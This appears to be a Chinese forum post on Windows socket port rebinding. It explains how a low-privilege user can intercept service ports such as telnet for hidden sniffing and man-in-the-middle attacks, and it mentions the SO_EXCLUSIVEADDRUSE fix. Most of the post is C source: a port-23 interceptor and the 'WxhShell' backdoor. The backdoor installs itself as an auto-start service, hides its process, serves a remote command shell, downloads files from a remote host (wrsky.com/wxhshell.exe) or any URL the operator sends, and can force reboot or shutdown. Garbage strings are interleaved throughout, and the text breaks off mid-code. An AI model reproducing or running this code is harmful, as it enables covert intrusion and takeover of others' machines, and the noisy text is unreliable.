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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RBeQT=B8~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lz#@_F|.*  
Hg(nC*#/Q  
  saddr.sin_family = AF_INET; Io7 =Mc4  
`Go oSX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m FC9\   
<;Td8T;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,UT :wpc^i  
~05(92bK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &xFs0R i(  
OBM&N  
  这意味着什么?意味着可以进行如下的攻击: 8;,(D# p  
`C*psS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ARB^]  
3=lQZi<]%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cn$0^7?  
p!LaR.8]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'yAHB* rQR  
a/q8vP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +\B.3%\-  
u9}LvQh_6,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Uv:NY1(3!  
G'_5UP!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i"M$hXO  
S#ud<=@!9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2cJ3b 0Xx  
N!af1zj  
  #include HqA~q  
  #include ?trqe/  
  #include W^9=z~-h  
  #include    HO8x:2m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kkV* #IZ  
  int main() Z9I ?j1K|!  
  { .|J-(J<>[.  
  WORD wVersionRequested; >D$NEO^  
  DWORD ret; 4g/Ly8  
  WSADATA wsaData; lJ4&kF=t  
  BOOL val; 3)~z~p7  
  SOCKADDR_IN saddr; FPuF1@K  
  SOCKADDR_IN scaddr; j2!^iGS}  
  int err; z]Mu8  
  SOCKET s; EDGAaN*Q  
  SOCKET sc; v<S?"# ]F=  
  int caddsize; +JBYGYN&K  
  HANDLE mt; b@N*W]  
  DWORD tid;   + gP 4MP  
  wVersionRequested = MAKEWORD( 2, 2 ); @1peJJ{  
  err = WSAStartup( wVersionRequested, &wsaData ); }mQh^  
  if ( err != 0 ) { *| YR8f  
  printf("error!WSAStartup failed!\n"); C@FX[:l@-  
  return -1; @arMg2"o  
  } [YQ` `  
  saddr.sin_family = AF_INET; sJcwN.s  
   [- x]%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x;>~;vmi  
E{Y)=tW[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U3ao:2zP  
  saddr.sin_port = htons(23); UYOR@x #  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lJXihr  
  { <nT).S>+  
  printf("error!socket failed!\n"); h*zHmkFR  
  return -1; JdA3O{mT)  
  } 2sqNTuO6,|  
  val = TRUE; gPM<LO`;i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \bWo"Yo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }^3ICwzm  
  { dI9u: -  
  printf("error!setsockopt failed!\n"); dpcFS0  
  return -1; S"joXmJ/-C  
  } 7S]akcT/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J*'#! xIa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "( P-VX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 # Q_ d  
x4bj?=+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7<3eB)S  
  { b!-F!Lq/+0  
  ret=GetLastError(); 5"&{Egc_  
  printf("error!bind failed!\n"); 095Z Z20  
  return -1; >c 5V VA8  
  } J |TA12s  
  listen(s,2); SXfAw)-n  
  while(1) TYh_uox6  
  {  D^JuL6U  
  caddsize = sizeof(scaddr); \HZ]=B#0  
  //接受连接请求 B<uUf)t  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H$n{|YO `  
  if(sc!=INVALID_SOCKET) C@[f Z  
  { +oMe\wYR$r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LTc= D  
  if(mt==NULL) h$y0>eMWs  
  { s+yX82Y  
  printf("Thread Creat Failed!\n");  } h0 )  
  break; Qh. : N  
  } a6fqtkZ x  
  } /6@Wm? `DB  
  CloseHandle(mt); H- aSLc  
  } 8'X:}O/  
  closesocket(s); [>tyx{T Ye  
  WSACleanup(); D%k]D/  
  return 0; Z39I*-6F9W  
  }   i=G.{.  
  DWORD WINAPI ClientThread(LPVOID lpParam) $f^ \fa[  
  { 6S2v3  
  SOCKET ss = (SOCKET)lpParam; LxC"j1wfl  
  SOCKET sc; !F&Ss|(}  
  unsigned char buf[4096]; r% ]^(  
  SOCKADDR_IN saddr; 6~j.S "  
  long num; JQ.w6aE  
  DWORD val; QX j4cg  
  DWORD ret; <n:j@a\up0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zf>r@>S!L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }TS4D={1  
  saddr.sin_family = AF_INET; ? 3 l4U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tv1Z%Mx?Cp  
  saddr.sin_port = htons(23); %SJ9Jr,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QjlwT2o'  
  { }6V` U9 ^g  
  printf("error!socket failed!\n"); 3bp'UEF^k  
  return -1; Q]}aZ4L  
  } d;D8$q)8Q  
  val = 100; N6BFs(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) | D jgm7$*  
  { Kqt,sJ  
  ret = GetLastError(); :b_R1ZV|  
  return -1; KvrcO#-sL  
  } ^SouA[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !@x'?+   
  { #D-L>7,jA  
  ret = GetLastError(); DxLN{g]B  
  return -1; pkR+H|  
  } C r~!N|(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >=_Z\ wA  
  { P|Ojt I  
  printf("error!socket connect failed!\n"); bQ" w%!  
  closesocket(sc); `/mcjKQ&9y  
  closesocket(ss); i YJzSVO  
  return -1; M)oy3y^&  
  } !?7c2QRN  
  while(1) >dW~o_u'QN  
  { i$A0_ZJKjZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0V&6"pF_Y'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /Af:{|'$%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D`bH_1X  
  num = recv(ss,buf,4096,0); P'4jz&4  
  if(num>0) mqg[2VTRP  
  send(sc,buf,num,0); [o=v"s't)  
  else if(num==0) ^sNj[%I R  
  break; 9)a:8/Y  
  num = recv(sc,buf,4096,0); /k(KA [bS  
  if(num>0) uZ-yu|1  
  send(ss,buf,num,0); 6-@ X  
  else if(num==0) j'V# =vH  
  break; 9Xg+$/  
  } 4ISZyO=  
  closesocket(ss); 5Y\wXqlY  
  closesocket(sc); + W ? / A]  
  return 0 ; fr1/9E;  
  } q+/c+u?=^  
W7a aL  
1{sfDw[s  
========================================================== vElVw. P  
zd+_ BPT  
下边附上一个代码,,WXhSHELL ;MqH)M  
ly<1]jK  
========================================================== .I@jt?6X  
5 ap~;t  
#include "stdafx.h" ,h'q}5  
XujVOf  
#include <stdio.h> j zaC  
#include <string.h> V(%L}0[]  
#include <windows.h> sz'IGy%  
#include <winsock2.h> KMxP%dV/=  
#include <winsvc.h> "YUyM5X  
#include <urlmon.h>  lqO"  
{o?+T );Z  
#pragma comment (lib, "Ws2_32.lib") e7<//~W7W  
#pragma comment (lib, "urlmon.lib") S0_#h)  
pr2b<(Pm  
#define MAX_USER   100 // 最大客户端连接数 r?s,  
#define BUF_SOCK   200 // sock buffer ubn`w=w$  
#define KEY_BUFF   255 // 输入 buffer >4A~?=  
,1"w2,=  
#define REBOOT     0   // 重启 '[ZRWwhr  
#define SHUTDOWN   1   // 关机 cC.=,n  
l@8UL</W  
#define DEF_PORT   5000 // 监听端口 F j_r n  
H1(Zz n1  
#define REG_LEN     16   // 注册表键长度 XCNfogl  
#define SVC_LEN     80   // NT服务名长度 A Z7  
Nj2f?',;U  
// 从dll定义API o5(p&:1M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8:%=@p>$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (GVH#}uB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =|lKB;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NzmVQ-4  
Fg3VD(D^U  
// wxhshell配置信息 +UxhSFU  
struct WSCFG { l:O6`2Z  
  int ws_port;         // 监听端口 gHLBtl/  
  char ws_passstr[REG_LEN]; // 口令 vV.TK_ y  
  int ws_autoins;       // 安装标记, 1=yes 0=no >g%^hjJ  
  char ws_regname[REG_LEN]; // 注册表键名 u.wm;eK[  
  char ws_svcname[REG_LEN]; // 服务名 GbC-6.~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &j\<UPn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =#@eDm%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bqwQi>^Cw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -S]yXZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A4,tv#z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8*nl Wl9qo  
/YbyMj*  
}; IR(6  
o0Z(BTO  
// default Wxhshell configuration nR7 usL  
struct WSCFG wscfg={DEF_PORT, a1;P2ikuK  
    "xuhuanlingzhe", /P~@__XN  
    1, sN^3bfi!i  
    "Wxhshell", yJx{6  
    "Wxhshell", KgtMrT5<q  
            "WxhShell Service",  5:mS~  
    "Wrsky Windows CmdShell Service", " h,<PF  
    "Please Input Your Password: ", )P:r;a'  
  1, xkIRI1*!  
  "http://www.wrsky.com/wxhshell.exe", x.rOP_rs  
  "Wxhshell.exe" I$K?,   
    }; &TqY\l  
93="sS  
// 消息定义模块 &UhI1mi]h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @J~n$^ke  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _pSCv:3T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =&QC&CqEi  
char *msg_ws_ext="\n\rExit."; ~Qzb<^9]  
char *msg_ws_end="\n\rQuit."; X|'EyZ  
char *msg_ws_boot="\n\rReboot..."; |=C&JA  
char *msg_ws_poff="\n\rShutdown..."; P@ewr}  
char *msg_ws_down="\n\rSave to "; @add'>)  
C WJGr:}&  
char *msg_ws_err="\n\rErr!"; {Mc^[}9  
char *msg_ws_ok="\n\rOK!"; bkQEfx.  
Vy;f4;I{  
char ExeFile[MAX_PATH]; [|ghq  
int nUser = 0; 2IgTB|2  
HANDLE handles[MAX_USER]; D-8N Da(`  
int OsIsNt; P"dWh;I_  
2s{PE  
SERVICE_STATUS       serviceStatus; ?*i qg[:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S^,1N 4  
I#0WN  
// 函数声明 mX78Av.z!  
int Install(void); FgILQ"+  
int Uninstall(void); xjHOrr OQ  
int DownloadFile(char *sURL, SOCKET wsh); ~7$E\w6  
int Boot(int flag); SST1vzm!  
void HideProc(void); *Mf;  
int GetOsVer(void); oVPtA@  
int Wxhshell(SOCKET wsl); Oj<.3U[C  
void TalkWithClient(void *cs);  8+no>%L  
int CmdShell(SOCKET sock); h_K(8{1  
int StartFromService(void); 49%qBO$R  
int StartWxhshell(LPSTR lpCmdLine); 5BvCP   
P q\m8iS,w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mp:/[%9Fi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zGrUl|j  
/ ,3,l^kZ  
// 数据结构和表定义 6Q<^,`/T  
SERVICE_TABLE_ENTRY DispatchTable[] = [AzQP!gi  
{ 2c>eMfa  
{wscfg.ws_svcname, NTServiceMain}, tGGv 2TCEy  
{NULL, NULL} P+iZ5S\kL=  
}; > }#h  
&61;v@  
// 自我安装 7Y$#* 7  
int Install(void) BJI}gm2y  
{ w%=GdA=  
  char svExeFile[MAX_PATH]; mzuf l:-=  
  HKEY key; *')g}2iB  
  strcpy(svExeFile,ExeFile); c\i`=>%b@  
/+\m7IS  
// 如果是win9x系统,修改注册表设为自启动 Ha l,%W~e  
if(!OsIsNt) { 6Z~u2&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Txkmt$h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^,L vQW4  
  RegCloseKey(key); E#t;G: +A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zzsQfI#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v,Lv4)  
  RegCloseKey(key); *vn^ W  
  return 0; 7cx~?xk <m  
    } kTG4h@w  
  } (are2!Oq  
} !w['@x.  
else { Qq;` 9-&j  
8'Dp3x^W>  
// 如果是NT以上系统,安装为系统服务 W=T3sp V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KlMrM% ;y  
if (schSCManager!=0) Z$R6'EUb1  
{ /\L|F?+@  
  SC_HANDLE schService = CreateService H=E`4E#k  
  ( -.A%c(|Q  
  schSCManager, P(I`^x  
  wscfg.ws_svcname, 5~T`R~Uqb  
  wscfg.ws_svcdisp, BKDs3?&  
  SERVICE_ALL_ACCESS, {9sA'5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )Lht}I ]:  
  SERVICE_AUTO_START, I`"8}d@Jm  
  SERVICE_ERROR_NORMAL, J+f .r|?  
  svExeFile, rj qX|  
  NULL, Ju3-ZFUS4  
  NULL, J(*q OGBD  
  NULL, aY8"Sw|4  
  NULL, >jEn>H?  
  NULL (vm &&a@  
  ); fMe "r*SU  
  if (schService!=0) Rk2V[R.`S  
  { |FZ)5  
  CloseServiceHandle(schService); 74YMFI   
  CloseServiceHandle(schSCManager); Q3MG+@)S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D"o}XTH  
  strcat(svExeFile,wscfg.ws_svcname); y=i_:d0M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Bw-<xwD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T'9I&h%\  
  RegCloseKey(key); yX%T-/XJ  
  return 0; ":E^&yQ  
    } m+p}Qi8i)  
  } !g}?x3  
  CloseServiceHandle(schSCManager); [(v?Z`cX\  
} %2Q:+6)  
} OjxaA[$  
2XhtK  
return 1; (9:MIP  
} 6@pP aq6  
Rd6? ,  
// 自我卸载 J2cqnwUV  
int Uninstall(void) Wz)O,X^  
{ } DY{>D>  
  HKEY key; `>CHE'_  
fl| 8#\r  
if(!OsIsNt) { n>]`8+a~%X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C"bG?Mb  
  RegDeleteValue(key,wscfg.ws_regname); `f.okqBAh  
  RegCloseKey(key); X|+o4R?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z @\C/wX  
  RegDeleteValue(key,wscfg.ws_regname); &$yC +cf  
  RegCloseKey(key); N6wea]  
  return 0; cIqk=_]  
  } {awv= s  
} .`Ey'T_  
} }7iWmXlI  
else { PI{;3X}9$,  
;J|sH>i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JmDi{B?  
if (schSCManager!=0) 9(?9yFbj5  
{ Cz=HxU80J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SN!TE,=I  
  if (schService!=0) s*`_Ka57]~  
  { >ZMB}pt`  
  if(DeleteService(schService)!=0) { 4;anoqiG\  
  CloseServiceHandle(schService); XWH{+c"  
  CloseServiceHandle(schSCManager); Il(p!l<Xz#  
  return 0; om%L>zfB  
  } );T0n  
  CloseServiceHandle(schService); KL:x!GsV5e  
  } ,lK=m~  
  CloseServiceHandle(schSCManager); z3!j>X_w  
} U ObI&*2  
} VwfeaDJw  
^):m^w.  
return 1; $hexJzX  
} ~B!O X  
9kmEg$WM  
// 从指定url下载文件 0zrgK;9  
int DownloadFile(char *sURL, SOCKET wsh) FEqs4<}E  
{ *a_U2}N  
  HRESULT hr; z%xWP&3%"  
char seps[]= "/"; IS *-MLi  
char *token; v~|~&Dwq  
char *file; |l\&4/SJ  
char myURL[MAX_PATH]; -# 0(Jm'  
char myFILE[MAX_PATH]; Ewjzm,2  
N{L'Q0!  
strcpy(myURL,sURL); H&K(,4u^  
  token=strtok(myURL,seps); i}cqV B?r  
  while(token!=NULL) 9>gxJ7pY  
  { r{y&}gA  
    file=token; qYD$_a  
  token=strtok(NULL,seps); }Rujh4*  
  } z~[:@mGl  
r!H'8O!  
GetCurrentDirectory(MAX_PATH,myFILE); m80e^  
strcat(myFILE, "\\"); G-`4TQ  
strcat(myFILE, file); X}T/6zk  
  send(wsh,myFILE,strlen(myFILE),0); 0k]$ he;h  
send(wsh,"...",3,0); 2$=U#!OtU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Fd6Q_  
  if(hr==S_OK) NfG<!  
return 0; B/"TaXVU  
else YbaaX{7^  
return 1; >*jcXao^  
eVL #3|=  
} ${(v Er#}k  
a1p Z{Od  
// 系统电源模块 Co|3k:I 8  
int Boot(int flag) 0=N,y  
{ >eX&HSoy  
  HANDLE hToken; GM&< ?K1  
  TOKEN_PRIVILEGES tkp; HgH\2QL3&  
4n55{ ?Z  
  if(OsIsNt) { j\W"P_dpd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e/+_tC$@p@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3khsGD@  
    tkp.PrivilegeCount = 1; 1'.SHY|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +Sz%2 Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t8vR9]n  
if(flag==REBOOT) { L=`QF'Im  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ir%L%MuR]  
  return 0; O~3<P3W  
} <sU?q<MC  
else { WiDl[l"{9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ckn0I  
  return 0; m\9R;$ \  
} yV{&x  
  } G]Rb{v,r  
  else { ' i- 6JG%  
if(flag==REBOOT) { gcS ?r :  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x`7Ch3`4}  
  return 0;  |tK_Bn  
} 9W^sq<tR  
else { b&q!uFP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UB%Zq1D|t  
  return 0; }XmrfegF  
} jb0wP01R  
} T@K= * p  
~_l@ _P5yz  
return 1; Ynn:,  
} --S1p0  
Sq#AnD6To  
// win9x进程隐藏模块 x/BtB"e*5  
void HideProc(void) ;Fo%R$y  
{ c@SNbY4}%  
}sy^ed  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O|Sbe%[*wW  
  if ( hKernel != NULL ) ^?+qNbK  
  { _*&I[%I5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '3%JhG)#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qV;E% XkkS  
    FreeLibrary(hKernel); Lzr&Q(mL  
  } F~bDA~  
[z:.52@!  
return; >(EC.ke  
} ko-3`hX`  
C ~e&J&zh  
// 获取操作系统版本 ^$FNu~|K  
int GetOsVer(void) xL&evG#  
{ pwF+ZNo  
  OSVERSIONINFO winfo; N_:H kI6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (6}[y\a+  
  GetVersionEx(&winfo); J# >)+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n%faD  
  return 1; 1;*4y J2  
  else @d&JtA  
  return 0; ^l:~r2  
} 8A jQPDn+  
|D% O`[k+  
// 客户端句柄模块 'iM#iA8  
int Wxhshell(SOCKET wsl) L[s`8u<_)z  
{ bcR";cE  
  SOCKET wsh; +TZVx(Z&A  
  struct sockaddr_in client; @~z4GTF9i  
  DWORD myID; =ea'G>;[H  
q"48U.}T  
  while(nUser<MAX_USER) l`bl^~xRo  
{ AqA.,;G  
  int nSize=sizeof(client); +`J~c|(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A'tv[T d8,  
  if(wsh==INVALID_SOCKET) return 1; #0"Pd8@  
-k?K|w*X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bA-/"'Vp9  
if(handles[nUser]==0) \wKnX]xGf  
  closesocket(wsh); p uZY4}b_  
else 4C#r=Uw`  
  nUser++; %{|67h  
  } w61*jnvi@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mP] a}[  
[Ot<8)Jm  
  return 0; 1`sTGNo  
} O[|_~v:^  
j0b>n#e7  
// 关闭 socket "C.cU  
void CloseIt(SOCKET wsh) )Z*nm<=  
{ N;HG@B!m  
closesocket(wsh); -kP$S qR~  
nUser--; hz+O.k],?  
ExitThread(0); Gc=uKQ+\V  
} o?g9Grk  
TFNB %|  
// 客户端请求句柄 Hmx Y{KB  
void TalkWithClient(void *cs) [k]3#<sS  
{ czLY+I;V3  
B/_~j_n$m  
  SOCKET wsh=(SOCKET)cs; nK)hv95i_  
  char pwd[SVC_LEN]; 35H.ZXQp-  
  char cmd[KEY_BUFF]; S-[S?&c`  
char chr[1]; lt("yqBu  
int i,j; ATWa/"l(H-  
nh]HEG0CZJ  
  while (nUser < MAX_USER) { eMLcm ZJR  
&X6hOc:``\  
if(wscfg.ws_passstr) { VBtdx`9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sd _DG8V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7.*Mmx~]=  
  //ZeroMemory(pwd,KEY_BUFF); &u4;A[- R  
      i=0; #= T^XHjQ  
  while(i<SVC_LEN) { #0f6X,3  
c 'rn8Jo}  
  // 设置超时 YmwXA e:  
  fd_set FdRead; :CsrcT=  
  struct timeval TimeOut; 6IJH%qUx'  
  FD_ZERO(&FdRead); ]P96-x  
  FD_SET(wsh,&FdRead); wu.>'v?y  
  TimeOut.tv_sec=8; z+K1[1SM  
  TimeOut.tv_usec=0; #l 6QE=:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [ <j4w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wzF%R {;  
P& h]uNu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6@;sOiN+  
  pwd=chr[0]; ,FwJ0V  
  if(chr[0]==0xd || chr[0]==0xa) { HF<h-gX  
  pwd=0; z~th{4#E ;  
  break; e!ql8wbp  
  } LvCX(yjZ*  
  i++; iEx4va-j  
    } FEi@MJJ\e  
FY)US>  
  // 如果是非法用户,关闭 socket X4JSI%E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3$9V4v@2  
} KJv[z   
[ut[W9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); txiX1o!/L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Cwl:  
\[d~O>k2  
while(1) { -' =?Hs.  
_`. Q7  
  ZeroMemory(cmd,KEY_BUFF); !tSh9L;<O  
d+nxvh?I8  
      // 自动支持客户端 telnet标准   A: O"N  
  j=0; @V Sr'?7-  
  while(j<KEY_BUFF) { :_h#A }8Xd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ek60[a  
  cmd[j]=chr[0]; q<K/q"0-l  
  if(chr[0]==0xa || chr[0]==0xd) { NFPWh3),f  
  cmd[j]=0; lMgPwvs'  
  break; V0G[f}tm'  
  } 3pe1"maP  
  j++; p/HGI)'  
    } 3U'l'H,  
>=86*U~  
  // 下载文件 *6G@8TIh  
  if(strstr(cmd,"http://")) { V}ls|B$Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =imJ0V~RW  
  if(DownloadFile(cmd,wsh)) d(K}v\3!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }lP`3e  
  else @p@b6iLpO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^I{/j 'b&  
  } X%T%N;P  
  else { W^pf 1I8[  
n7|,b- <  
    switch(cmd[0]) { Hp*N%  
  -@XOe&q  
  // 帮助 AwZz}J+  
  case '?': { Ph)>;jU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7~SnY\B|  
    break; o+Mc%O Z  
  } et/v/Hvw1  
  // 安装 8~F?%!X  
  case 'i': { >uYU_/y$2  
    if(Install()) x.sC015Id  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6`X}Z'4.Ox  
    else i v.G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :x3xeVt Y  
    break; i0Rj;E=:]  
    } ^b4i9n,t1  
  // 卸载 1B@7#ozWA?  
  case 'r': { ?Iu=os>*  
    if(Uninstall()) ff]fN:}V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r[wjE`Z/T  
    else !3{;oU%*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _M^^0kf  
    break;  $ Tal.  
    } GE? \Vm  
  // 显示 wxhshell 所在路径 `lrNH]B  
  case 'p': { r]U8WM3r  
    char svExeFile[MAX_PATH]; w&e3#p  
    strcpy(svExeFile,"\n\r"); n:f&4uKoG<  
      strcat(svExeFile,ExeFile); =G !]_d0  
        send(wsh,svExeFile,strlen(svExeFile),0); ^9><qKbO  
    break; |7Qe{  
    } _h 6c[*  
  // 重启 c7.M\f P  
  case 'b': {  >hzSd@J&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,N nh$F  
    if(Boot(REBOOT)) < FY%QB)h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [,{Nu EI  
    else { ";/ogFi  
    closesocket(wsh); )i_:[ l6  
    ExitThread(0); Rd<K.7&A}  
    } >s )L(DHa"  
    break; 5hh6;)  
    } LnM$@  
  // 关机 'rq@9$h1W  
  case 'd': { !,C8  
